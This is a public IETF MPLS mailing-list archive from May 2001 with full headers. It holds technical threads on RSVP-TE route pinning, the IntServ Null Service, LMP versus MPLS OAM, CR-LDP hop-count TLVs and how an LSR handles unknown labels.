Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqec11305
	for <mpls@UU.NET>; Tue, 22 May 2001 22:34:28 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqec05220
	for <mpls@UU.NET>; Tue, 22 May 2001 22:34:28 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA07343
	for <mpls@UU.NET>; Tue, 22 May 2001 18:34:25 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA15805
	for <mpls@UU.NET>; Tue, 22 May 2001 18:34:28 -0400 (EDT)
Message-ID: <3B0AE96D.94962BD2@marconi.com>
Date: Tue, 22 May 2001 18:34:21 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
CC: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Unnumbered interface IDs in RROs
References: <37701240971DD31193970000F6CCB9F7019F6D73@duke.datcon.co.uk> <3B0A85AD.4D6A3AD9@future.futsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Arumugam R wrote:
> 
> By the way "pinning" you mean "Strict ErHops" since route pinning
> in case of loose ErHops is not supported in RSVP (only in CR-LDP)
> since there is no flag mentioning the feature in any of the RSVP-TE
> objects.

He's talking about using the RRO to pin a loose ERO.  The technique is
something like:

- ingress router sends Path with loose ERO and RRO
- ingress router eventually receives a Resv with an RRO.
- ingress router (at next Path refresh) uses the received RRO as a
  strict ERO.

This effectively pins the LSP.

-- David


From owner-mpls@UU.NET  Tue May 22 19:23:28 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA06870
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 19:23:27 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqef23887;
	Tue, 22 May 2001 23:22:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkqef14505
	for mpls-outgoing; Tue, 22 May 2001 23:22:20 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqef14492
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 23:22:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqef22469
	for <mpls@UU.NET>; Tue, 22 May 2001 23:21:49 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqef08761
	for <mpls@UU.NET>; Tue, 22 May 2001 23:21:49 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA09098
	for <mpls@UU.NET>; Tue, 22 May 2001 19:21:46 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id TAA22238
	for <mpls@UU.NET>; Tue, 22 May 2001 19:21:48 -0400 (EDT)
Message-ID: <3B0AF485.C943B615@marconi.com>
Date: Tue, 22 May 2001 19:21:41 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP-TE Tspec and Flowspec object for Class-of-Service service
References: <OFB64AD22C.EE4D5886-ON85256A54.005124FE@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> I found the new draft of RSVP-TE 08.txt, there is no more section
> 4.8 ----- Tspec and Flowspec object for class -of-service service.
> 
> I was wondering whether it has been taken out of the new draft or
> not, since it was in the old draft rsvp-te 07.txt.
> Can anyone tell me if it should be there or no more?

Yes, it is gone.

Best-effort LSPs in RSVP should now be signalled using the IntServ Null
Service, using the IntServ CType (2) for the SENDER_TSPEC, ADSPEC and
FLOWSPEC objects.

See RFC 2997 for the IntServ Null Service.

(Eric, George: Any possibility of inserting a pointer to RFC 2997 and a
paragraph of text describing its use somewhere in the draft so that this
question doesn't get repeated until the end of time?)

-- David


From owner-mpls@UU.NET  Tue May 22 21:06:17 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA07903
	for <mpls-archive@lists.ietf.org>; Tue, 22 May 2001 21:06:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqcq05796;
	Tue, 22 May 2001 13:01:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkqcq04053
	for mpls-outgoing; Tue, 22 May 2001 13:01:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqcq04020
	for <mpls@mail-control.mail.uu.net>; Tue, 22 May 2001 13:01:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqcp17094
	for <mpls@uu.net>; Tue, 22 May 2001 12:59:21 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQkqcp04273
	for <mpls@uu.net>; Tue, 22 May 2001 12:59:21 GMT
Received: from notes800.cc.telcordia.com (notes800a.cc.telcordia.com [128.96.79.8])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id IAA20727;
	Tue, 22 May 2001 08:56:38 -0400 (EDT)
Subject: RE: LMP CV and MPLS OAM CV
To: neil.2.harrison@bt.com, sharam_davari@pmc-sierra.com
Cc: mpls@UU.NET
From: "Robert Streijl" <rstreijl@telcordia.com>
Date: Tue, 22 May 2001 08:56:40 -0400
Message-ID: <OF2670F445.C33B4C17-ON85256A54.00461E9E@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes800/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/22/2001 08:56:41 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Neil, Sharam,

Neil: Thanks very much for this answer. It is is perfectly clear.
I knew there had to be a difference, and some of it was clear to me, but
not all of it.
So, do you expect there will be more investigation on OAM in GMPLS in each
of the specific media used (besides G.709)?

Sharam: Would you share a copy on the P-flows for MPLS OAM with me?
Thanks,

Regards,
Robert






neil.2.harrison@bt.com on 05/22/2001 04:16:02 AM

To:   rstreijl@telcordia.com
cc:   mpls@UU.NET (bcc: Robert Streijl/Telcordia)
Subject:  RE: LMP CV and MPLS OAM CV



Hi Robert (sorry reply below is a bit long-winded.....I could not easily
give short/simple answers without adequately covering the issues),

You asked on 22 May 2001 01:42
> Neil et al,
>
> What is the difference between connectivity verification
> provided by LMP,
> and CV OAM packets?

NH=> These address quite different issues.

The first point to note is that MPLS ('classic') introduces a new layer
network technology.....we can see this by noting facts like (i) it defines
a
new data/user-plane framing structure (ie the shim header encapsulation
rules), (ii) LSPs are trails (in func arch-speak) which can be explicitly
defined in terms of source/sink, (ii) the source/sink (and indeed
intermediate) points create new processing requirements (eg swap/pop/push),
etc.   The fact that MPLS introduces new functions means, by definition,
that is also introduces new potential failure modes (ie that did not exist
in IP say or, more generally, are not relevant to any other layer network
technology).  It is these new failure modes that our MPLS OAM draft
addresses.....but it goes further than that, to specify issues like how to
measure availability, how to stop nested LSP alarm storms, etc.  These
things are important to operators and can be considered as common (to any
technology) OAM themes....I come back to this point later.

LMP is a new protocol....it is *not* a new layer network.  This is the key
difference.  Indeed, GMPLS does *not* introduce new layer networks (though
judging from the currently lively debate on the CCAMPS channel one might
think otherwise!).  GMPLS is actually a philosophy rather than a
technology....it takes already existing/standardised (but see Note)
data/user-plane networks and applies a common control-plane to them.  Now,
whether the *choice* of the right control-plane facets (the 4 key ones are
(i) addressing, (ii) signalling protocol, (iii) routing protocol and (iv)
control-plane transport network topology) is appropriate is a different
issue....and one I don't want to open up here (but I suspect most know the
views of BT on this).
Note - The GMPLS control-plane can be applied to existing/standardised
user-plane layer networks such as SDH and PDH.  It was, of course,
originally targeted at OTNs....though the actual user-plane standardisation
is not yet complete here.

Now these existing/standardised user-plane networks (such as SDH/PDH) do
have OAM as part of the user-plane framing overhead structure....this is
both natural and correct.  'True' OTNs however, create a bit of a problem
as
they can be considered as transparent to the user-plane......esp at
intermediate points when we consider optical switching.  This is why, in
G.709, the concept of a digital wrapper is being worked on.....one can
consider this as the equivalent of the various SDH/Sonet framing formats.
Now, LMP was originally designed (and please correct/add to this Jonathan L
if necessary) to address this 'transparency' problem by providing a method
of testing the user-plane connectivity by injecting a well-known 'test
signal' into the user-plane prior to bringing it into service (for external
traffic carrying).  LMP has other functions however (like how to swap over
between control-channels that carry the LMP protocol), but this was the
prime mover I believe.

So, in conclusion, MPLS OAM and LMP address very different applications.
Is
this clear/OK now?


> Will there be any extensions to the MPLS OAM document on GMPLS OAM?

NH=> You have to note this 1st:
-    the user/data-plane needs its own OAM...and this is per layer
technology
-    the control-plane needs its own OAM (but more accurately it needs
specific/tailored OAM for (i) the routing protocol, (ii) the signalling
protocol and (iii) the user/data-plane of the signalling network....which
can be quite distinct from the user-plane for normal customer traffic.  And
note that 'hellos', error notifications, etc are all OAM functions.).
Once one moves away from a pure CNLS transport mode (ie explicitly
signalled/routed MPLS LSP trails or any GMPLS trails) then the user-plane
and the control-plane *must* be considered separately since they are
neither
functionally nor topologically congruent....so this is a whole new ball
game
for some.

Now from what I said previously, our MPLS OAM work addresses missing
functionality in the classic MPLS user-plane....it does *not* address any
control-plane aspects.  The need for any additional GMPLS user-plane
functionality however, needs to consider the unique characteristics of the
*section-layer* transport media considered (ie optical
terrestrial/submarine, radio, satellite, copper, etc) and what is defined
for the framing structure at the trail level, ie PDH is different to SDH is
different to OTN.....and especially in terms of the failure modes (and
their
handling) that are relevant to the layer network technology considered.
However, one can list some obvious/common OAM themes:
-    must define all defects in terms of entry/exit criteria;
-    must define defect handling in terms of consequent actions, eg
suppress alarm storms in higher/client layer networks, squelch customer
traffic in case of misroutings to ensure customer security/confidentially,
etc
-    must define availability entry/exit criteria (a pre-requisite for
any QoS metric collection, since QoS is only relevant to the up-state)
-    etc
I believe we have described the key themes quite well in our MPLS OAM work,
and then interpreted their implementation details for 'classic' ER MPLS
LSPs.....one would have to apply similar themes to any other user-plane
layer technologies wrt their specific implementation details.

So, whilst its perfectly correct to take the basic themes in our MPLS OAM
work, their actual manifestation in a given layer technology will be quite
different.  And for OTNs, this is being attempted in G.709 to some extent.

> What is the status on P-flows in MPLS OAM?

NH=> Its still FFS.  We need contributions from other operators to say
exactly what they want here.  But note this:  The measurement of
performance
metrics needs to be considered within a larger operational framework.....it
can be very costly (for little real benefit) to continuously collect large
amounts of performance data from all connections (just ask any large
operator, I am sure they will say the same).  And in terms of a framework
we
need:
-    basic OAM for defect handling and availability measurements...this
is must-have in all situations;
-    ability to turn-on ad hoc detailed QoS flows, eg trouble-shooting or
measurement of important customer connections.....this is more relevant to
pkt-based networks;
-    where QoS metric processing is continuously enabled (eg SDH trails)
then some form of threshold/event-filtering/exception-reporting is
required;
-    some network sampling of QoS to determine performance trends and
give some figure of merit over time....again more relevant to pkt-based
networks;
-    network node/link utilisation statistics....that then need coupling
with forecast data to drive the planning cycle.

Shahram (Davari) has written an excellent paper which examines various
P-flow options (for E/L-LSP variants).  I am sure Shahram could let you
have
a copy if you want to see it.  However, as I noted above, this area needs
input from the larger operator community.







From owner-mpls@UU.NET  Wed May 23 03:00:44 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA27721
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 03:00:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqfj06907;
	Wed, 23 May 2001 06:59:22 GMT
Received: by mail-control.mail.uu.net 
	id QQkqfj07323
	for mpls-outgoing; Wed, 23 May 2001 06:58:52 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqfj07315
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 06:58:41 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqfj15884
	for <mpls@UU.NET>; Wed, 23 May 2001 06:58:38 GMT
Received: from saraswathi.hclt.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.6])
	id QQkqfj05094
	for <mpls@UU.NET>; Wed, 23 May 2001 06:58:36 GMT
Received: from gayatri.hclt.com (GAYATRI [192.168.232.199]) by saraswathi.hclt.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id K82S5RF1; Wed, 23 May 2001 12:40:53 +0530
Received: from MALLIKPC ([192.168.232.162]) by gayatri.hclt.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id J9Y85NDY; Wed, 23 May 2001 12:40:07 +0530
From: "gopinathg" <gopinathg@hclt.com>
To: <mpls@UU.NET>, <eric.gray@sandburst.com>
Cc: <andrew@hclt.com>
Subject: PV & HC in CRLDP map message
Date: Wed, 23 May 2001 12:35:27 +0530
Message-ID: <000401c0e356$bf183060$a2e8a8c0@hclt.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

HI

    In CR-LDP we are using only Dod Ordered control. So, is there any need
for us to have HC/PV TLVs in label mapping messages. Is it not enough to
have them in Request messages alone, as in Dod Ordered control the mapping
message has to traverse the same path as request message and the mapping can
only be sent in response to a request message.

Thanks in advance,

Regards,
Gopi



From owner-mpls@UU.NET  Wed May 23 03:29:04 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA28621
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 03:29:03 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqfl20629;
	Wed, 23 May 2001 07:28:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkqfl29292
	for mpls-outgoing; Wed, 23 May 2001 07:27:56 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqfl29278
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 07:27:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqfl22929
	for <mpls@UU.NET>; Wed, 23 May 2001 07:27:07 GMT
Received: from localhost.localdomain by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.54])
	id QQkqfl20226
	for <mpls@UU.NET>; Wed, 23 May 2001 07:27:03 GMT
Received: from cheetah (IDENT:tomar@cheetah [127.0.0.1])
	by localhost.localdomain (8.11.0/8.11.0) with ESMTP id f4N7Ss803260;
	Wed, 23 May 2001 12:58:57 +0530
Date: Wed, 23 May 2001 12:58:52 +0530 (IST)
From: Nagendra Singh Tomar <nagendras@netbrahma.com>
X-Sender: tomar@localhost.localdomain
Reply-To: nagendras@netbrahma.com
To: gopinathg <gopinathg@hclt.com>
cc: mpls@UU.NET
Subject: Re: PV & HC in CRLDP map message
In-Reply-To: <000401c0e356$bf183060$a2e8a8c0@hclt.com>
Message-ID: <Pine.LNX.4.21.0105231252380.3255-100000@localhost.localdomain>
Organization: NetBrahma Technologies
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi gopi!
	One of the uses of HC TLV apart from loop mitigation is in telling
the ingress router "How many hops away is the egress router ?". This
information can be used by the ingress router of  Non-ttl decrementing
domain, (this should be ttl-decrement capable) which will reduce the ttl
by that much amount (equal to the hop count received in the path
message) and discard the packet if the ttl after decrementing becomes zero
or less. 

cheers
tomar




On Wed, 23 May 2001, gopinathg wrote:

> HI
> 
>     In CR-LDP we are using only Dod Ordered control. So, is there any need
> for us to have HC/PV TLVs in label mapping messages. Is it not enough to
> have them in Request messages alone, as in Dod Ordered control the mapping
> message has to traverse the same path as request message and the mapping can
> only be sent in response to a request message.
> 
> Thanks in advance,
> 
> Regards,
> Gopi
> 



From owner-mpls@UU.NET  Wed May 23 06:10:02 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA29748
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 06:10:01 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqfw24033;
	Wed, 23 May 2001 10:09:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkqfw13441
	for mpls-outgoing; Wed, 23 May 2001 10:08:43 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqfw13432
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 10:08:33 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqfw19689
	for <mpls@uu.net>; Wed, 23 May 2001 10:08:28 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f118.law4.hotmail.com [216.33.149.118])
	id QQkqfw03186
	for <mpls@uu.net>; Wed, 23 May 2001 10:08:28 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 23 May 2001 03:08:27 -0700
Received: from 192.35.17.233 by lw4fd.law4.hotmail.msn.com with HTTP;	Wed, 23 May 2001 10:08:27 GMT
X-Originating-IP: [192.35.17.233]
From: "Sherry Wei" <sherry_wei@hotmail.com>
To: mpls@UU.NET
Subject: What to do when label has error?
Date: Wed, 23 May 2001 10:08:27 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com>
X-OriginalArrivalTime: 23 May 2001 10:08:27.0743 (UTC) FILETIME=[4F95BEF0:01C0E370]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello,

I have a doubt about the real operation in the case that the LSR can't find 
the according ILM or NHLFE. What will it do then? Drop the packet and send 
the ICMP message to the source, or strip off the label stack and deal with 
the packet with IP forwarding meanwhile send the ICMP message?

Sherry
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



From owner-mpls@UU.NET  Wed May 23 06:47:27 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA29967
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 06:47:27 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqfz02235;
	Wed, 23 May 2001 10:45:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkqfz19626
	for mpls-outgoing; Wed, 23 May 2001 10:45:19 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqfz19621
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 10:45:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqfz10868
	for <mpls@UU.NET>; Wed, 23 May 2001 10:45:10 GMT
Received: from india.mercurykr.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [165.133.13.60])
	id QQkqfz01620
	for <mpls@UU.NET>; Wed, 23 May 2001 10:45:02 GMT
Received: from akshat (rahul [165.133.13.21])
	by india.mercurykr.com (8.8.8+Sun/8.8.8) with SMTP id QAA10354;
	Wed, 23 May 2001 16:08:28 -0600 (GMT)
Message-ID: <003001c0e375$b8cd1260$150d85a5@dti.daewoo.co.kr>
From: "Akshat Kapoor" <akshat@mercurykr.com>
To: "Sherry Wei" <sherry_wei@hotmail.com>, <mpls@UU.NET>
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com>
Subject: Re: What to do when label has error?
Date: Wed, 23 May 2001 16:17:05 +0530
Organization: Mercury Corp. (Formerly Daewoo Telecom Ltd)
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Sherry,
    Refer to rfc 3031 section 3.18 and 3.22. If the LSR can determine
through some external means that forwarding the packet is not going to
result in a loop (or any other harm) than it can forward the packet.
Otherwise it MUST drop the packet.  The rfc is silent about generating ICMP
messages in such a situation. If the LSR prefers to generate an ICMP message
than it should be able to route the ICMP Message to the source. (The LSR
might not have the routing information to the source. Also, if you are using
a shim header than you might not be able to identify the network layer
encapsulation correctly (in case of an invalid label)).
    In the second case, i.e. if the LSR can identify somehow that forwarding
the packet unlabeled is not going to cause any harm and resorts to IP
Forwarding after stripping the label stack than it should not(IMHO) send an
ICMP error message to the source.

Akshat

----- Original Message -----
From: "Sherry Wei" <sherry_wei@hotmail.com>
To: <mpls@UU.NET>
Sent: Wednesday, May 23, 2001 10:08 AM
Subject: What to do when label has error?


> Hello,
>
> I have a doubt about the real operation in the case that the LSR can't
find
> the according ILM or NHLFE. What will it do then? Drop the packet and send
> the ICMP message to the source, or strip off the label stack and deal with
> the packet with IP forwarding meanwhile send the ICMP message?
>
> Sherry
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>
>



From owner-mpls@UU.NET  Wed May 23 07:06:27 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA00116
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 07:06:27 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqga17615;
	Wed, 23 May 2001 11:05:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkqga13237
	for mpls-outgoing; Wed, 23 May 2001 11:05:08 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqga12250
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 11:04:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqga12180
	for <mpls@UU.NET>; Wed, 23 May 2001 11:04:50 GMT
Received: from saraswathi.hclt.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.6])
	id QQkqga17347
	for <mpls@UU.NET>; Wed, 23 May 2001 11:04:49 GMT
Received: from gayatri.hclt.com (GAYATRI [192.168.232.199]) by saraswathi.hclt.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id K82S5T67; Wed, 23 May 2001 16:47:12 +0530
Received: from mohanpc (192.168.232.160 [192.168.232.160]) by gayatri.hclt.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id J9Y85NSC; Wed, 23 May 2001 16:46:25 +0530
From: "Mohan Kumar S" <mohankr@hclt.com>
To: "Akshat Kapoor" <akshat@mercurykr.com>,
        "Sherry Wei" <sherry_wei@hotmail.com>, <mpls@UU.NET>
Subject: RE: What to do when label has error?
Date: Wed, 23 May 2001 16:44:50 +0530
Message-ID: <NFBBJMFJHKNOFFMMDNBPCELKCAAA.mohankr@hclt.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <003001c0e375$b8cd1260$150d85a5@dti.daewoo.co.kr>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Akshat and Sherry,
Refer RFC 3032 Section : 2.3. on "Generating ICMP Messages for
Labeled IP Packets"

regards,
Mohan Kumar.

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Akshat
Kapoor
Sent: Wednesday, May 23, 2001 4:17 PM
To: Sherry Wei; mpls@UU.NET
Subject: Re: What to do when label has error?


Sherry,
    Refer to rfc 3031 section 3.18 and 3.22. If the LSR can determine
through some external means that forwarding the packet is not going to
result in a loop (or any other harm) than it can forward the packet.
Otherwise it MUST drop the packet.  The rfc is silent about generating ICMP
messages in such a situation. If the LSR prefers to generate an ICMP message
than it should be able to route the ICMP Message to the source. (The LSR
might not have the routing information to the source. Also, if you are using
a shim header than you might not be able to identify the network layer
encapsulation correctly (in case of an invalid label)).
    In the second case, i.e. if the LSR can identify somehow that forwarding
the packet unlabeled is not going to cause any harm and resorts to IP
Forwarding after stripping the label stack than it should not(IMHO) send an
ICMP error message to the source.

Akshat

----- Original Message -----
From: "Sherry Wei" <sherry_wei@hotmail.com>
To: <mpls@UU.NET>
Sent: Wednesday, May 23, 2001 10:08 AM
Subject: What to do when label has error?


> Hello,
>
> I have a doubt about the real operation in the case that the LSR can't
find
> the according ILM or NHLFE. What will it do then? Drop the packet and send
> the ICMP message to the source, or strip off the label stack and deal with
> the packet with IP forwarding meanwhile send the ICMP message?
>
> Sherry
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>
>



From owner-mpls@UU.NET  Wed May 23 10:37:23 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA06135
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 10:37:21 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgo20452;
	Wed, 23 May 2001 14:34:41 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgo06828
	for mpls-outgoing; Wed, 23 May 2001 14:34:09 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqgo06814
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 14:34:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqgo19967
	for <mpls@UU.NET>; Wed, 23 May 2001 14:33:26 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
